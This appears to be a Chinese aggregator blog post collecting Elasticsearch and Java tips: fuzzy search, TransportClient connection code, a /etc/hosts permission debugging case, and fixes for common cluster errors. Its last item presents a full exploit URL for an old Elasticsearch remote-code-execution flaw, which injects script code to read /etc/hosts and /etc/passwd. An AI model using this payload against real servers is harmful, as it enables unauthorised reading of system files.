「javaes集群」java分布式集群

博主:adminadmin 2022-11-30 22:21:10 60

今天给各位分享javaes集群的知识,其中也会对java分布式集群进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

ES实现模糊搜索

最近使用ES时,有一个简单的需求,要求实现按照某个字段实现类似mysql中的like查询。

这里记录下实现方式。

这里java的api使用的是RestHighLevelClient,RestHighLevelClient从字面意思理解就是restful风格的高级别的客户端,底层封装的是一个http连接池,当需要执行 update、index、delete操作时,直接从连接池中取出一个连接,然后发送http请求到ElasticSearch服务端,服务端基于Netty接收请求。新版本的elasticsearch java client 都推荐用RestHighLevelClient去连接ES集群。

以下为实现方式:

这里要实现模糊匹配的字段为:plateNo(业务上表示车牌号)

以下是一开始的实现方法。plateNo字段type为text,现在保存了一条值为京A00000的数据

刚开始时候一直无法实现,可以搜索 京 查询出数据;或者搜索 A00000 查询到数据,但是使用全部 京A00000 查询数据为空。

后来确定原因,因为为text,所以这个字段在保存时会分词,所以索引中不会有 京A00000,因此解决思路就是该字段type指定为keyword,同时使用查询时指定查询时使用keyword,如下。

boolQueryBuilder.must(QueryBuilders.wildcardQuery("plateNo.keyword", (" 京A00000 ")));

解决问题。

怎么用spring获取es数据

1. ES和solr都是作为全文搜索引擎出现的。都是基于Lucene的搜索服务器。

2. ES不是可靠的存储系统,不是数据库,它有丢数据的风险。

3. ES不是实时系统,数据写入成功只是trans log成功(类似于MySQL的bin log),写入成功后立刻查询查不到是正常的。因为数据此刻可能还在内存里而不是进入存储引擎里。同理,删除一条数据后也不是马上消失。写入何时可查询?ES内部有一个后台线程,定时将内存中的一批数据写入到存储引擎,此后数据可见。默认后台线程一秒运行一次。该线程运行的越频繁,写入性能越低。运行的频率越低,写入的性能越高(不会无限高)。

4. 目前已知的单ES集群可以存储PB级别的数据,不过这个就非常费劲了。TB级别数据没压力。

5. 如果使用ES官方提供的jar包访问,需要JDK1.7及以上。

6. 使用对应的版本访问ES server。如果ES server端的版本是1.7,那么请使用ES 1.7的client。如果ES server是2.1,请使用2.1的client。

7. ES索引存在Linux服务器的文件系统之上(背后是文件系统,不是类似于HDFS的分布式文件系统)

8. ES Java client是线程安全的,全局构建一个即可满足读写需求,不要每次都创建ES client。每次访问ES都构建新的es client即会抛出次异常。

9. 非常不建议使用ES的动态识别和创建的机制,因为很多情况下这并非你所需要。推荐的做法是在写数据之前仔细的创建mapping。

10. 强烈不建议在ES中使用深分页。可能会导致集群不可用。

11. ES是静态分片,一旦分片数在创建索引时确定那么后继不能修改。

12. ES里提供了type,很多人以为type是物理表,一个type的数据是独立存储的;但是在ES内部并不是这样,type在ES内部仅仅是一个字段。所以在很多数据能分为独立index的情况下,不要放到一个index里用type去分。只有嵌套类和父子类的情况下使用type才是合理的。

13. ES并不提供原生的中文分词的能力。有第三方的中文分词的插件,比如ik等。Ik是个toy分词器,有严肃的分词需求的话,请在使用ES之前使用独立的分词器分好词后向ES写入。

14. ES中的index,首先会进行分片,每一个分片数据一般都会有自己的副本数据,ES分配分片的策略会保证同一个分片数据和自己的副本不会分配到同一个节点上。当集群中的某一节点宕机后,ES的master在ping该节点时通过一定的策略会发现该节点不存活;会开启ES的恢复过程

15. ES没有update的能力。所有的update都是标记删除老文档,然后重新insert一条新文档。

java怎么连接到elastic search集群

package cn.test;

import java.net.InetAddress;

import java.net.UnknownHostException;

import org.elasticsearch.action.search.SearchResponse;

import org.elasticsearch.action.search.SearchType;

import org.elasticsearch.client.transport.TransportClient;

import org.elasticsearch.common.settings.Settings;

import org.elasticsearch.common.transport.InetSocketTransportAddress;

import org.elasticsearch.index.query.QueryBuilders;

import org.elasticsearch.search.SearchHit;

public class ElkTest {

// private static final String CLUSTER_NAME = "cluster_name";

public static final String CLUSTER_NAME = "elasticsearch"; //实例名称

private static final String IP = "127.0.0.1";

//private static final String IP = "192.168.0.29";

private static final int PORT = 9300; //端口

//1.设置集群名称:默认是elasticsearch,并设置client.transport.sniff为true,使客户端嗅探整个集群状态,把集群中的其他机器IP加入到客户端中

/*

//对ES1.6有效

private static Settings settings = ImmutableSettings

.settingsBuilder()

.put("cluster.name",CLUSTER_NAME)

.put("client.transport.sniff", true)

.build();

*/

//对ES2.0有效

private static Settings settings = Settings

.settingsBuilder()

.put("cluster.name",CLUSTER_NAME)

.put("client.transport.sniff", true)

.build();

//创建私有对象

private static TransportClient client;

//反射机制创建单例的TransportClient对象 ES1.6版本

// static {

// try {

// Class? clazz = Class.forName(TransportClient.class.getName());

// Constructor? constructor = clazz.getDeclaredConstructor(Settings.class);

// constructor.setAccessible(true);

// client = (TransportClient) constructor.newInstance(settings);

// client.addTransportAddress(new InetSocketTransportAddress(InetAddress.getByName(IP), PORT));

// } catch (Exception e) {

// e.printStackTrace();

// }

// }

//ES2.0版本

static {

try {

client = TransportClient.builder().settings(settings).build()

.addTransportAddress(new InetSocketTransportAddress(InetAddress.getByName(IP), PORT));

} catch (UnknownHostException e) {

e.printStackTrace();

}

}

//取得实例

public static synchronized TransportClient getTransportClient(){

return client;

}

//为集群添加新的节点

public static synchronized void addNode(String name){

try {

client.addTransportAddress(new InetSocketTransportAddress(InetAddress.getByName(name),9300));

} catch (UnknownHostException e) {

e.printStackTrace();

}

}

//删除集群中的某个节点

public static synchronized void removeNode(String name){

try {

client.removeTransportAddress(new InetSocketTransportAddress(InetAddress.getByName(name),9300));

} catch (UnknownHostException e) {

e.printStackTrace();

}

}

public static void main(String args[]){

String index="logstash-2016.02.16";

String type="logs";

SearchResponse response=ElkTest.getTransportClient().prepareSearch(index)//设置要查询的索引(index)

.setSearchType(SearchType.DFS_QUERY_THEN_FETCH)

.setTypes(type)//设置type, 这个在建立索引的时候同时设置了, 或者可以使用head工具查看

.setQuery(QueryBuilders.matchQuery("message", "Accept")) //在这里"message"是要查询的field,"Accept"是要查询的内容

.setFrom(0)

.setSize(10)

.setExplain(true)

.execute()

.actionGet();

for(SearchHit hit:response.getHits()){

System.out.println(hit.getSourceAsString());

}

}

}

elasticsearch中,如何与java中TransportClient在断开后自动重连?

不建议使用TransportClient,因为es官方自己都放弃了。建议使用java自身的http客户端,使用rest api进行操作即可。不存在断开重连,只存在api失败重试。

一次/etc/hosts权限错误导致的es集群错误

先说一下环境:系统使用的CentOS7.5,elasticsearch版本是5.4.0。一套产品集群包括三个elasticsearch节点构成的集群。

部署了两套测试集群,配置基本类似,elasticsearch配置文件中使用主机名。在某一次测试后,一套集群里的elasticsearch就开始报错,无法提供服务。查看日志发现,elasticsearch一直抛出UnknownHostException异常,所以无法和另外两个节点通信连成集群。根据堆栈信息,这个异常是在解析其它elasticsearch节点域名的时候调用InetAddress.getAllByName()抛出的。

而另外一套集群里类似的配置,它的elasticsearch服务却是很正常的。唯一的不同是,出问题的集群临时配置了DNS服务。

按正常的情况来说,elasticsearch解析域名的方式应该是先从/etc/hosts中获取,获取不到了再查询DNS。elasticsearch服务节点的主机名、IP都有在配置在/etc/hosts中。所以,即使一套集群配置了DNS,另外一套没有,也不应该出现elasticsearch无法解析域名的问题。

为了找到域名解析错误的原因,我决定跟踪一下elasticsearch解析域名的过程,使用的工具是strace。strace命令可以追踪进程的系统调用。

安装过程很简单。

接着是修改elasticsearch的执行脚本,一般路径是/usr/share/elasticsearch/bin/elasticsearch。在这个脚本的最后几行,在exec 后添加strace命令 strace -o /tmp/es.strace.log -f ,如下所示。

-o参数将strace的输出保存到文件/tmp/es.strace.log,-f参数表明追踪进程的所有子进程的系统调用。

两个集群的elasticsearch节点都修改了这个脚本,重启服务后对比查看。对比这个输出文件,终于发现一些端倪。首先,elasticsearch调用的getAllByName()确实首先查看了/etc/hosts文件,但是权限不足无法访问这个文件。

这是有问题的,首先是这个文件应该是可读的,不应该出现权限不足的问题,第二是两个集群都无法访问这个文件,但是为什么一个能解析域名而另外一个不能。

接着往下对比,出问题的elasticsearch进程这时候检查到/etc/resovl.conf文件已经配置,于是向DNS服务器发出了查询。DNS无法解析,于是抛出了UnknownHostException异常。另外一边,没有问题的elasticsearch进程检查到/etc/resovl.conf未配置,这时候做了一个特别的操作,它创建了一个地址族是AF_NETLINK的原始套接字,通过这个套接字查询得到了域名对应的IP地址。我猜测,这可能是访问系统的ARP信息。

既然是DNS的问题,那么把出问题的/etc/resolv.conf中的DNS配置删除呢?重启服务之后,elasticsearch服务依然抛出异常,查看日志发现进程虽然跳过了/etc/resolv.conf,但是它却开始访问了本地的DNS端口53(UDP),可能这是java最后的解析尝试了。恰好,这个节点上部署了rpcbind服务,这个服务恰好就监听了53端口,结果就是依然无法通过DNS解析,java华丽丽的抛出了异常。

问题的根本原因还是/etc/hosts文件不可读,查看这个文件的权限,结果是600,意思就是只能root用户读写了,其它用户没有任何权限,包括读。elasticsearch服务使用的elasticsearch用户,所以当然就会被禁止读取。

经过其它的查找,发现是有一个服务进程会一直更新这个hosts文件,更新的方式是先创建一个临时文件,然后rename成hosts文件,由于临时文件的默认权限是600,所以导致hosts文件的权限最后也是600了。

至此,整个的问题的原因已经清楚。hosts权限的错误,导致elasticsearch通过DNS解析域名,又刚好DNS解析报错,没有通过ARP解析域名。

另外从这个事情中也可以看到java解析域名的套路,先/etc/hosts文件,接着是DNS,先远程的DNS后本地的DNS,最后尝试从本地ARP缓存解析,中间有一个过程抛出异常的时候,解析就会失败。

es的句柄数不会自动下降是怎么回事

1.由gc引起节点脱离集群

因为gc时会使jvm停止工作,如果某个节点gc时间过长,master ping3次(zen discovery默认ping失败重试3次)不通后就会把该节点剔除出集群,从而导致索引进行重新分配。

解决方法:

(1)优化gc,减少gc时间。(2)调大zen discovery的重试次数(es参数:ping_retries)和超时时间(es参数:ping_timeout)。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。

2.out of memory错误

因为默认情况下es对字段数据缓存(Field Data Cache)大小是无限制的,查询时会把字段值放到内存,特别是facet查询,对内存要求非常高,它会把结果都放在内存,然后进行排序等操作,一直使用内存,直到内存用完,当内存不够用时就有可能出现out of memory错误。

解决方法:

(1)设置es的缓存类型为Soft Reference,它的主要特点是据有较强的引用功能。只有当内存不够的时候,才进行回收这类内存,因此在内存足够的时候,它们通常不被回收。另外,这些引 用对象还能保证在Java抛出OutOfMemory 异常之前,被设置为null。它可以用于实现一些常用图片的缓存,实现Cache的功能,保证最大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。

(2)设置es最大缓存数据条数和缓存失效时间,通过设置index.cache.field.max_size: 50000来把缓存field的最大值设置为50000,设置index.cache.field.expire: 10m把过期时间设置成10分钟。

3.无法创建本地线程问题

es恢复时报错: RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]

刚开始以为是文件句柄数限制,但想到之前报的是too many open file这个错误,并且也把数据改大了。查资料得知一个进程的jvm进程的最大线程数为:虚拟内存/(堆栈大小*1024*1024),也就是说虚拟内存越大或堆栈越小,能创建的线程越多。重新设置后还是会报那这错,按理说可创建线程数完全够用了的,就想是不是系统的一些限制。后来在网上找到说是max user processes的问题,这个值默认是1024,这个参数单看名字是用户最大打开的进程数,但看官方说明,就是用户最多可创建线程数,因为一个进程最少有一个线程,所以间接影响到最大进程数。调大这个参数后就没有报这个错了。

解决方法:

(1)增大jvm的heap内存或降低xss堆栈大小(默认的是512K)。

(2)打开/etc/security/limits.conf ,把soft nproc 1024这行的1024改大就行了。

4.集群状态为黄色时并发插入数据报错

[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]

这是错误信息,当时集群状态为黄色,即副本没有分配。当时副本设置为2,只有一个节点,当你设置的副本大于可分配的机器时,此时如果你插入数据就有可能报上面的错,因为es的写一致性默认是使用quorum,即quorum值必须大于(副本数/2+1),我这里2/2+1=2也就是说要要至少插入到两份索引中,由于只有一个节点,quorum等于1,所以只插入到主索引,副本找不到从而报上面那个错。

解决方法:(1)去掉没分配的副本。(2)把写一致性改成one,即只写入一份索引就行。

5.设置jvm锁住内存时启动警告

当设置bootstrap.mlockall: true时,启动es报警告Unknown mlockall error 0,因为linux系统默认能让进程锁住的内存为45k。

解决方法:设置为无限制,linux命令:ulimit -l unlimited

6.错误使用api导致集群卡死

其实这个是很低级的错误。功能就是更新一些数据,可能会对一些数据进行删除,但删除时同事使用了deleteByQuery这个接口,通过构造BoolQuery把要删除数据的id传进去,查出这些数据删除。但问题是BoolQuery最多只支持1024个条件,100个条件都已经很多了,所以这样的查询一下子就把es集群卡死了。

解决方法:用bulkRequest进行批量删除操作。

7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream

原因:es节点之间的JDK版本不一样

解决方法:统一JDK环境

8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available

1) 端口错

client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

这里9300 写成9200的话会No node available

要是你连的不是本机,注意IP有没有正确

2 )jar报引用版本不匹配,开启的服务是什么版本,引用的jar最好匹配(这个我没有去试,反正我的是匹配的)

3) 要是你改了集群名字,还有设置集群名字

Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build();

client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

4)集群超过5s没有响应

解决方法1.设置client.transport.ping_timeout设大

2.代码内加入while (true) {

try {

bulk.execute().actionGet(getRetryTimeout());

break;

}

catch (NoNodeAvailableException cont) {

Thread.sleep(5000);

continue;

}

}

9.elasticsearch 近日被发现漏洞,可以远程执行任意代码,由于 elasticsearch提供了http接口,导致可能通过CSRF等方式借助恶意页面浏览发生攻击。

漏洞影响版本:

elasticsearch 1.2以下

测试代码:

http:// ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7Dcallback=jQuery111102863897154977554_1400571156308_=1400571156309

关于javaes集群和java分布式集群的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。

The End

发布于:2022-11-30,除非注明,否则均为首码项目网原创文章,转载请注明出处。